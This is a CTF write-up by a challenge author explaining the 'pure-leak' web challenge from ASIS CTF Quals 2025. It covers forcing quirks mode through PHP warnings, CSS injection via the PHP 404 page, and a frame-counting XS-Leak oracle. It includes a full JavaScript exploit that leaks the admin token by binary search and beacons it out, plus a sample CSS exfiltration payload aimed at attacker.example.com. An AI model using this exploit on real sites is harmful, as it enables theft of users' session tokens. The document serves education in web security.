

Forcing Quirks Mode with PHP Warnings + CSS Exfiltration without Network Requests

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- Published: 2025-09-08
- Original: <<https://blog.arkark.dev/2025/09/08/asisctf-quals>>
- Preserved from: <https://blog.arkark.dev/2025/09/08/asisctf-quals> (live) on 2026-08-09
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Content

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I made a web challenge `pure-leak` for ASIS CTF Quals 2025 as a guest author.

- Difficulty: 2 solves / 450 pts
- Author: [me](#)
- Source: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202509_ASIS_CTF_Quals_2025/web/pure-leak

Congrats to `MEOW MEOW MEOW MEOW MEOW` and `Water Paddler` for solving it!

!

Despite its simplicity, the solution relies on several neat HTML/CSS tricks. Below I'll outline the key ideas and how they fit together.

This is a fairly simple XS-Leaks challenge (but, "simple" doesn't mean "easy").

!

The server-side code is written in PHP:

`web/index.php`

```
<?php

function validate(mixed $input): string {

    if (!is_string($input)) return "Invalid types";

    if (strlen($input) > 1024) return "Too long";

    if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";

    if (preg_match('*http|data|\\\\\\|\\*|\\[|\\]|&|%|@|/.*i', $input)) return "Invalid keywords";

    return $input;

}

?>

<!DOCTYPE html>

<html>

<body>

    <h1>pure-leak </h1>

    <h3>Source</h3>

    <pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>

    <h3>Content</h3>

    <?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n"; ?>

    <h3>Token</h3>

    <?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>

    <h3>Usage</h3>

    <a href="/?content=your_input">/?content=your_input</a>

</body>
```

```
</html>
```

The following line has an obvious HTML injection vulnerability via the `content` query parameter:

```
<?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n"; ?>
```

A Caddy reverse proxy is used for load balancing and adding CSP header:

`web/entrypoint.sh`

```
#!/bin/sh

set -eu

php -S 127.0.0.1:9000 &

php -S 127.0.0.1:9001 &

php -S 127.0.0.1:9002 &

php -S 127.0.0.1:9003 &

cat > /tmp/Caddyfile << EOF

:3000 {

    header {

        defer

        Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"

    }

    reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {

        replace_status 200

    }

}

EOF

exec caddy run --config /tmp/Caddyfile
```

The challenge overview is as follows:

- Goal
- Steal the admin token: `$_COOKIE["TOKEN"]`
- Rules:
- You can inject HTML via `$_GET["content"]`

- Token format: `TOKEN_[0-9a-f]{16}`
- The application runs on PHP's built-in server behind Caddy
- Limitations:
- Validation for `$_GET["content"]` :
- Type: `string`
- Length limit: `1024`
- Allowed characters: `[\x20-\x7e\r\n]`
- Disallowed substrings (case-insensitive):
- `http` , `data` , `\` , `*` , `[` , `]` , `&` , `%` , `@` , `//`
- CSP: `script-src 'none'; default-src 'self'; base-uri 'none'`
- Admin bot's timeout: `20 seconds`
- It's relatively **short** for XS-Leaks challenges

One of the naive plans for this CSP is CSS data exfiltration:

```
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
```

In general, a `<link href="..." rel="stylesheet">` only loads stylesheets if the response's Content-Type is `text/css` .

Spec:

To process this type of linked resource given a link element `el`, boolean success, response `response`, and byte sequence `bodyBytes`:

- If the resource's **Content-Type metadata is not text/css**, then set success to false.
- ...

Source: <https://html.spec.whatwg.org/multipage/links.html#link-type-stylesheet>

Under `default-src 'self'` , there's no same-origin endpoint that returns `text/css` , so CSS injection likely doesn't work.

However, there's an important exception. Quirks mode relaxes the MIME check for same-origin!

Quirk: If the document has been set to **quirks mode**, has the same origin as the URL of the external resource, and the Content-Type metadata of the external resource is not a supported style sheet type, the user agent must instead assume it to be `text/css`.

info

As a related note, the traditional attack called **Relative Path Overwrite (RPO)** requires the page to be in quirks mode. This requirement stems from the MIME-check relaxation mentioned above.

!

Last year, [pilvar](#) showed a novel CSP bypass technique using PHP warnings:

In this challenge, it's impossible to drop CSP header because it's added by Caddy. However, can we adapt this technique to change quirks/no-quirks mode?

Example:

!!

At this point, same-origin CSS loading becomes possible even without a `text/css` MIME type.

```
const content = `
<link href="/index.php?content={}&body{background:limegreen}" rel=stylesheet>
`;

location = `http://localhost:3000?content=${
  encodeURIComponent(content)
}${"&a".repeat(1000)}`;
```

The answer is no. Before the HTML injection point, the page contains `/*`, so the payload lands inside a CSS comment. Because using `*` is disallowed by validation, we can't close the comment.

!

We need an endpoint where we control raw text without landing inside a comment.

Conveniently, PHP's built-in 404 page includes the requested URL in the response body. We can leverage it for CSS injection.

!

In fact, the CSS injection works at `/not-found.txt?{}body{background:limegreen}` :

```
const content = `  
  
<link href="/not-found.txt?{}body{background:limegreen}" rel=stylesheet>  
  
`;  
  
location = `http://localhost:3000?content=${  
  
    encodeURIComponent(content)  
  
}${"&a".repeat(1000)}`;
```

!

A classic CSS exfiltration payload looks like:

```
input[value^="TOKEN_012"] {  
  
    background-image: url(http://attacker.example.com/?orefix=TOKEN_012);  
  
}
```

But, we can't use this payload here due to:

- Issue 1: `[` and `]` are banned
- Using attribute selectors are disallowed.
- Issue 2: CSP includes `default-src 'self'`
- Using external requests are disallowed (so `url(...)` leaks don't work).

For Issue 1, we can emulate attribute checks using a `:valid` pseudo-class and an `<input>`'s `pattern` attribute:

- `:valid` : <https://developer.mozilla.org/en-US/docs/Web/CSS/:valid>
- `pattern` : <https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Attributes/pattern>

Example (with Dangling Markup Injection):

```

const pattern = "TOKEN_012";

const content = `

<link href="/not-found.txt?{}div:has(input:valid){background:limegreen}" rel=stylesheet>

<div>

  <input pattern=".${pattern}." value="

`;

location = `http://localhost:3000?content=${

  encodeURIComponent(content)

}${"&a".repeat(1000)}`;

```

Rendered HTML: !

Match (pattern="."+TOKEN_012."): !

Miss (pattern="."+TOKEN_01a."): !

We still need to address Issue 2 (we can't use `url(...)` due to `default-src 'self'`).

Now, I'd like to introduce a useful technique with frame counting trick:

- Frame Counting: <https://xsleaks.dev/docs/attacks/frame-counting/>

As an important fact, `<embed>` (or `<object>`) increments `window.length` unless it's hidden with `display: none` .

No style applied `window.length === 1` :

!

CSS with `display:none` applied `window.length === 0` :

!

This yields a **stable** and **fast** oracle without any external requests:

```

const win = open("");

const match = async (pattern) => {

  win.location = "about:blank";

  await sleep(100);

  const content = `

    <link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>

    <div>

      <embed code="x" type=text/html>

      <input pattern="."+${pattern}."+ value="

    `;

  const url = `${BASE_URL}?content=${encodeURIComponent(

    content

  )}${"&a".repeat(1000)}`;

  win.location = url;

  await sleep(100);

  return win.length === 0;

};

const result = await match("TOKEN_123");

```

The final exploit looks like this:

```
<body>

<script type="module">

  const BASE_URL = "http://web:3000";

  const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

  const TOKEN_SIZE = 16;

  let known = "TOKEN_";

  const win = open("");

  const CHARS = [..."0123456789abcdef"];

  const match = async (pattern) => {

    win.location = "about:blank";

    while (true) {

      try {

        win.origin;

        break;

      } catch {

        await sleep(3);

      }

    }

  }

  const content = `

  <link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>

  <div>

    <embed code="x" type=text/html>
```

```
<input pattern="."+${pattern}." value="

`;

const url = `${BASE_URL}?content=${encodeURIComponent(

  content

)}${"&a".repeat(1000)}`;

win.location = url;

while (true) {

  try {

    win.origin;

    await sleep(3);

  } catch {

    break;

  }

}

await sleep(100);

return win.length === 0;

};

for (let i = 0; i < TOKEN_SIZE; i++) {

  let left = 0;

  let right = CHARS.length;

  while (right - left > 1) {

    const mid = (right + left) >> 1;
```

```
const p = "(" + CHARS.slice(left, mid).join("|") + ")";

if (await match(known + p)) {

    right = mid;

} else {

    left = mid;

}

}

known += CHARS[right - 1];

navigator.sendBeacon("/debug", known);

}

navigator.sendBeacon("/token", known);

</script>

</body>
```

Full exploit:

- https://github.com/arkark/my-ctf-challenges/blob/main/challenges/202509_ASIS_CTF_Quals_2025/web/pure-leak/solution/index.html

Example run:

```
$ docker run -it --rm \
```

```
-e BOT_BASE_URL=http://pure-leak.asisctf.com:1337 \
```

```
-e CONNECTBACK_URL=http://attacker.example.com \
```

```
-p 8080:8080 \
```

```
(docker build -q ./solution)
```

```
(node:1) [FSTWRN003] FastifyWarning: The listen method mixes async and callback styles that may lead to unhandled r
```

```
(Use `node --trace-warnings ...` to show where the warning was created)
```

```
[DEBUG] TOKEN_6
```

```
[DEBUG] TOKEN_62
```

```
[DEBUG] TOKEN_629
```

```
[DEBUG] TOKEN_6290
```

```
[DEBUG] TOKEN_6290e
```

```
[DEBUG] TOKEN_6290e5
```

```
[DEBUG] TOKEN_6290e54
```

```
[DEBUG] TOKEN_6290e546
```

```
[DEBUG] TOKEN_6290e5469
```

```
[DEBUG] TOKEN_6290e54698
```

```
[DEBUG] TOKEN_6290e546987
```

```
[DEBUG] TOKEN_6290e546987d
```

```
[DEBUG] TOKEN_6290e546987d4
```

```
[DEBUG] TOKEN_6290e546987d4e
```

```
[DEBUG] TOKEN_6290e546987d4e0
```

```
[DEBUG] TOKEN_6290e546987d4e0d
```

```
{
```

```
  token: 'TOKEN_6290e546987d4e0d',
```

```
  flag: 'ASIS{silksooooooong_9_4_y4y!!}'
```

```
}
```

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